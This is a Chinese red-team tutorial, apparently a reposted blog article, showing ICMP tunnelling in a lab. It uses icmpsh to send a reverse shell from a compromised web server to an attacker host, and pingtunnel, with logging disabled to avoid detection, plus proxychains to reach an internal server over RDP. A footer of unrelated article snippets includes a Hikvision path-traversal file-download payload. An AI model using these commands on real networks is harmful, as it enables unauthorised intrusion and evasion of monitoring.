《红蓝攻防对抗实战》十二.内网穿透之利用ICMP协议进行隧道穿透

内网穿透之利用ICMP协议进行隧道穿透

  • 一.前言
  • 二.前文推荐
  • 三.利用ICMP协议进行隧道穿透
        • 1.ICMPsh获取反弹shell
        • 2.PingTunnel 搭建隧道
  • 四.本篇总结

一.前言

本文介绍了利用ICMP协议进行隧道穿透的方法。ICMP协议不需要开放端口,可以将TCP/UDP数据封装到ICMP的Ping数据包中,绕过防火墙限制。常见的ICMP隧道穿透工具有Icmpsh、Icmptunnel、Pingtunnel等。本文以ICMPsh和Pingtunnel为例,介绍了如何利用ICMP协议进行隧道穿透。

二.前文推荐

《红蓝攻防对抗实战》一. 隧道穿透技术详解
《红蓝攻防对抗实战》二.内网探测协议出网之TCP/UDP协议探测出网
《红蓝攻防对抗实战》三.内网探测协议出网之HTTP/HTTPS协议探测出网
《红蓝攻防对抗实战》四.内网探测协议出网之ICMP协议探测出网
《红蓝攻防对抗实战》五.内网探测协议出网之DNS协议探测出网
《红蓝攻防对抗实战》六.常规反弹之利用NC在windows系统执行反弹shell
《红蓝攻防对抗实战》七.常规反弹之利用NC在Linux系统执行反弹shell
《红蓝攻防对抗实战》八.利用OpenSSL对反弹shell流量进行加密
《红蓝攻防对抗实战》九.内网穿透之利用GRE协议进行隧道穿透
《红蓝攻防对抗实战》十.内网穿透之利用DNS协议进行隧道穿透
《红蓝攻防对抗实战》十一.内网穿透之利用SSH协议进行隧道穿透
————————————————————————————————————————————

三.利用ICMP协议进行隧道穿透

下面将介绍通过ICMP协议进行隧道穿透的方法。这种手段的优点是不需要开放端口就可将TCP/UDP数据封装到ICMP的Ping数据包中,从而绕过防火墙的限制,攻击者可以利用较短的命令得到大量的ICMP响应,常见的ICMP隧道穿透通常可以利用Icmpsh、Icmptunnel、Pingtunnel等工具实现,笔者这里以ICMPsh和Pingtunnel为案例介绍如何利用ICMP协议进行隧道穿透。

1.ICMPsh获取反弹shell

ICMPsh是一个简单的反向ICMP shell,与其他类似的开源工具相比,它的主要优势在于不需要管理权限即可在目标主机上运行,如图1-1所示的拓扑,假设内网中发现Web服务器,测试后其他协议方式无法进行隧道穿透,探测其开放ICMP协议,且获取到命令执行权限后,可以尝试利用ICMP隧道工具进行后续操作。

图1-1 ICMP协议实验拓扑图

1)首先在攻击机中执行echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all命令,关闭攻击机ICMP协议的应答。因为该工具要代替攻击机系统本身的ping命令去应答,为了防止内核自己对Ping数据包进行响应,所以需要关闭系统的ICMP应答,执行后如图1-2所示。

在这里插入图片描述

图1-2 关闭ping应答

2)关闭ICMP应答后,在攻击机中执行python2 icmpsh_m.py 192.168.0.2 192.168.0.3命令来连接Web服务器,如图1-3所示。这里注意的是,攻击机需要使用Python 2的环境来安装python-impacket模块,我们可以使用pip install impacket==0.9.12命令或者官网下载模块安装。

在这里插入图片描述

图1-3攻击机连接服务器

3)上述步骤操作完毕后,上传icmpsh.exe工具到Web服务器,在Web服务器执行icmpsh.exe -t 192.168.0.2命令反弹Shell到攻击机,执行结果如图1-4所示。

![](https://img-blog.csdnimg.cn/img_convert/e80aad8817b4becdbc9c1ad1acf5165c.png)

图1-4 服务器执行连接命令

4)此时攻击机已经成功获得Web服务器反弹的Shell权限,如图1-5所示。
在这里插入图片描述

图1-5 通过ICMP隧道成功获得Web服务器Shell权限
2.PingTunnel 搭建隧道

PingTunnel工具是基于ICMP协议的开源的隧道工具,其优点是使用简单,它的原理是通过将TCP/UDP/Sock5流量夹带在ICMP数据中进行转发,下面将会演示如何使用该工具进行隧道穿透,该工具的具体使用详细参数如表1-1所示。

表1-1 PingTunne工具详细参数

参数作用
-key设置的密码,默认为 0
-nolog不写日志文件,只打印标准输出,默认 0
-noprint不打印屏幕输出,默认 0
-loglevel日志文件等级,默认 info
-maxconn最大连接数,默认 0,不受限制
-maxprtserver 最大处理线程数,默认 100
-maxprbserver 最大处理线程 buffer 数,默认 1000
-connttserver 发起连接到目标地址的超时时间,默认 1000ms
-l本地的地址,发到这个端口的流量将转发到服务器
-s服务器的地址,流量将通过隧道转发到这个服务器
-t远端服务器转发的目的地址,流量将转发到这个地址
-timeout记录连接超时的时间,单位是秒,默认 60s
-tcp设置是否转发 tcp,默认 0
-tcp_bstcp 的发送接收缓冲区大小,默认 1MB
-tcp_mwtcp 的最大窗口,默认 20000
-tcp_rsttcp 的超时发送时间,默认 400ms
-tcp_gz当数据包超过这个大小,tcp 将压缩数据,0 表示不压缩,默认0
-tcp_stat打印 tcp 的监控,默认 0
-sock5开启 sock5 转发,默认 0
-profile在指定端口开启性能检测,默认 0 不开启
-s5filtersock5 模式设置转发过滤,默认全转发,设置 CN 代表 CN 地区的直连不转发

假设在内网渗透中发现主机,通过漏洞获取到系统控制权限,在对其进一步探测时,由于安全设备等方式的阻拦,其他协议方式无法穿透,这里仅开放ICMP协议,我们可以尝试利用PingTunnel工具进行后续操作,本次实验拓扑如图1-6所示,本次实验环境表如1-2所示。

图1-6 ICMP协议实验拓扑图

表1-2 ICMP协议实验环境表

主机类型IP配置
攻击机192.168.0.2
Web服务器192.168.0.3,192.168.52.2
目标服务器192.168.52.3

1)在攻击机上也可以执行sysctl -w net.ipv4.icmp_echo_ignore_all=1命令,关闭ICMP应答,防止接受本地的响应的ping数据包,如图1-7所示。注意实验完成后,如果要开启Icmp应答,我们使用上面这条命令将值改为0即可开启icmp应答。
在这里插入图片描述

图1-7 攻击机关闭Icmp回复

2)将PingTunnel工具上传至Web服务器后执行./pingtunnel -type server -noprint 1 -nolog 1命令,即可在Web服务器开启服务端监听,其中-noprint参数和-nolog参数是禁止产生日志文件,如果不使用该参数执行,则Web服务器就会生成大量的日志文件,很容易被检测到,执行成功后如图1-8所示。
在这里插入图片描述

图1-8 Web服务器开启服务端监听


3)在攻击机执行./pingtunnel -type client -l :1080 -s 192.168.0.3 -sock5 1命令,去连接服务端,这里攻击机将作为客户端连接Web服务器监听,并设置本地的1080端口做为socks连接端口,执行后如图1-9所示。

图1-9攻击机发起连接

4)随后,在攻击机中修改proxychains4.conf配置文件,并在其底部添加一行socks5 127.0.0.1 1080参数来完成proxychains代理配置,如图1-10所示。
在这里插入图片描述

图1-10 修改proxychains配置文件

5)当配置完proxychains代理后,即可在攻击机执行proxychains rdesktop 192.168.52.3命令来连接靶机,如图1-11所示,通过所建立的icmp协议隧道,我们可以直接远程连接到目标服务器中。

图1-11 ICMP隧道连接成功

四.本篇总结

随着隧道技术的不断更新迭代,越来越多的攻击者利用隧道技术攻击企业内网中,在本篇文章中介绍了如何利用ICMP协议进行隧道穿透,ICMP协议不需要开放端口,可以将TCP/UDP数据封装到ICMP的Ping数据包中,绕过防火墙限制。希望本篇对读者有用。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/139889.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Error creating bean with name ‘apiModelSpecificationReader‘ defined in URL

问题: 启动项目的时候,报错了 org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name apiModelSpecificationReader defined in URL [jar:file:/D:/.gradle/caches/modules-2/files-2.1/io.springfox/sp…

基于springboot实现驾校管理系统项目【项目源码】

基于springboot实现驾校管理系统演示 JAVA简介 JavaScript是一种网络脚本语言,广泛运用于web应用开发,可以用来添加网页的格式动态效果,该语言不用进行预编译就直接运行,可以直接嵌入HTML语言中,写成js语言&#xff0…

免费分享一套基于Springboot+Vue的在线考试系统,挺漂亮的

大家好,我是java1234_小锋老师,看到一个不错的SpringbootVue的在线考试系统,分享下哈。 项目视频演示 【免费】springbootvue在线考试系统 Java毕业设计_哔哩哔哩_bilibili【免费】springbootvue在线考试系统 Java毕业设计项目来自互联网&a…

劲松HPV防治诊疗中心发布:HPV感染全面防治解决方案

在当今社会,HPV(人乳头瘤病毒)感染问题已成为广大公众关注的焦点。作为一种高度传染性的病毒,HPV感染不仅可能导致生殖器疣,还可能引发各种癌症。面对这一严重威胁,劲松HPV防治诊疗中心以其专业的医疗团队、正规的治疗流程和全方位…

ZYNQ_project:key_led

条件里是十进制可以不加进制说明,编译器默认是10进制,其他进制要说明。 实验目标: 模块框图: 时序图: 代码: include "para.v"module key_filter (input wire …

长春理工大学漏洞报送证书

获取来源:edusrc(教育漏洞报告平台) url:主页 | 教育漏洞报告平台 兑换价格:10金币 获取条件:提交长春理工大学任意中危或以上级别漏洞

Linux驱动开发——PCI设备驱动

目录 一、 PCI协议简介 二、PCI和PCI-e 三、Linux PCI驱动 四、 PCI设备驱动实例 五、 总线类设备驱动开发习题 一、 PCI协议简介 PCI (Peripheral Component Interconnect,外设部件互联) 局部总线是由Intel 公司联合其他几家公司一起开发的一种总线标准&#…

【数据结构】树与二叉树(十二):二叉树的递归创建(算法CBT)

文章目录 5.2.1 二叉树二叉树性质引理5.1:二叉树中层数为i的结点至多有 2 i 2^i 2i个,其中 i ≥ 0 i \geq 0 i≥0。引理5.2:高度为k的二叉树中至多有 2 k 1 − 1 2^{k1}-1 2k1−1个结点,其中 k ≥ 0 k \geq 0 k≥0。引理5.3&…

mysql基础 --子查询

文章目录 子查询子查询案例 子查询 一个查询语句,嵌套在另一个查询语句内部;子查询先执行,其结果被外层主查询使用;子查询放入括号内;子查询放在比较条件的右侧;子查询返回一条,为单行子查询(对…

python工具HIKVISION视频编码设备接入网关任意文件下载

python工具 构造payload /serverLog/downFile.php?fileName../web/html/serverLog/downFile.php漏洞证明 文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。 免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何…

PyTorch技术和深度学习——三、深度学习快速入门

文章目录 1.线性回归1)介绍2)加载自由泳冠军数据集3)从0开始实现线性回归模型4)使用自动求导训练线性回归模型5)使用优化器训练线性回归模型 2.使用torch.nn模块构建线性回归模型1)使用torch.nn.Linear训练…

通过SD卡给某摄像头植入可控程序

0x01. 摄像头卡刷初体验 最近研究了手上一台摄像头的sd卡刷机功能,该摄像头只支持fat32格式的sd卡,所以需要先把sd卡格式化为fat32,另外微软把fat32限制了最大容量32G,所以也只能用不大于32G的sd卡来刷机。 这里使用32G的sd卡来…

基于樽海鞘群算法优化概率神经网络PNN的分类预测 - 附代码

基于樽海鞘群算法优化概率神经网络PNN的分类预测 - 附代码 文章目录 基于樽海鞘群算法优化概率神经网络PNN的分类预测 - 附代码1.PNN网络概述2.变压器故障诊街系统相关背景2.1 模型建立 3.基于樽海鞘群优化的PNN网络5.测试结果6.参考文献7.Matlab代码 摘要:针对PNN神…

vColorPicker与vue3-colorPicker——基于 Vue 的颜色选择器插件

文章目录 前言样例特点 一、使用步骤?1. 安装2.引入3.在项目中使用 vcolorpicker 二、选项三、事件四、问题反馈问题所在安装引入例子效果图 前言 vColorPicker——官网 vColorPicker——GitHub 样例 vColorPicker是基于 Vue 的一款颜色选择器插件,仿照…

【入门Flink】- 10基于时间的双流联合(join)

统计固定时间内两条流数据的匹配情况,需要自定义来实现——可以用窗口(window)来表示。为了更方便地实现基于时间的合流操作,Flink 的 DataStrema API 提供了内置的 join 算子。 窗口联结(Window Join) 一…

面向对象基础(以python语言为例)

1、定义一个类;实例化类的对象;调用类中的方法 #定义一个类 class Student:#类方法(即函数)def study(self,course_name):print(f学生正在学习{course_name})def play(self):print("xx学生正在玩游戏")#实例化&#xf…

从0到1实现一个前端监控系统(附源码)

目录 一、从0开始 二、上报数据方法 三、上报时机 四、性能数据收集上报 收集上报FP 收集上报FCP 收集上报LCP 收集上报DOMContentLoaded 收集上报onload数据 收集上报资源加载时间 收集上报接口请求时间 五、错误数据收集上报 收集上报资源加载错误 收集上报js错…

Linux下C++调用python脚本实现LDAP协议通过TNLM认证连接到AD服务器

1.前言 首先要实现这个功能,必须先搞懂如何通过C调用python脚本文件最为关键,因为两者的环境不同。本质上是在 c 中启动了一个 python 解释器,由解释器对 python 相关的代码进行执行,执行完毕后释放资源。 2 模块功能 2.1python…

Windows server 2008 R2 IIS搭建ASP网站教程

一、安装应用程序服务器 提示安装成功 二、添加角色服务asp 三、asp网站配置 放入源码 设置网站首页为index.asp: 设置应用程序池 四、设置网站目录属性 五、access数据库连接配置 Cd c:\Windows\System32\inetsrv appcmd list apppool /xml | appcmd set apppool /…

K9203 996920302 面向DNP3的网络安全解决方案

K9203 996920302 面向DNP3的网络安全解决方案 2014年ISA卓越技术创新奖获得者,超电子,3eTI的CyberFence工业防火墙解决方案提供强大加密和应用程序级深度数据包检测(DPI)功能。最近,3eTI为其CyberFence产品线增加了DNP3(分布式网络协议)支持…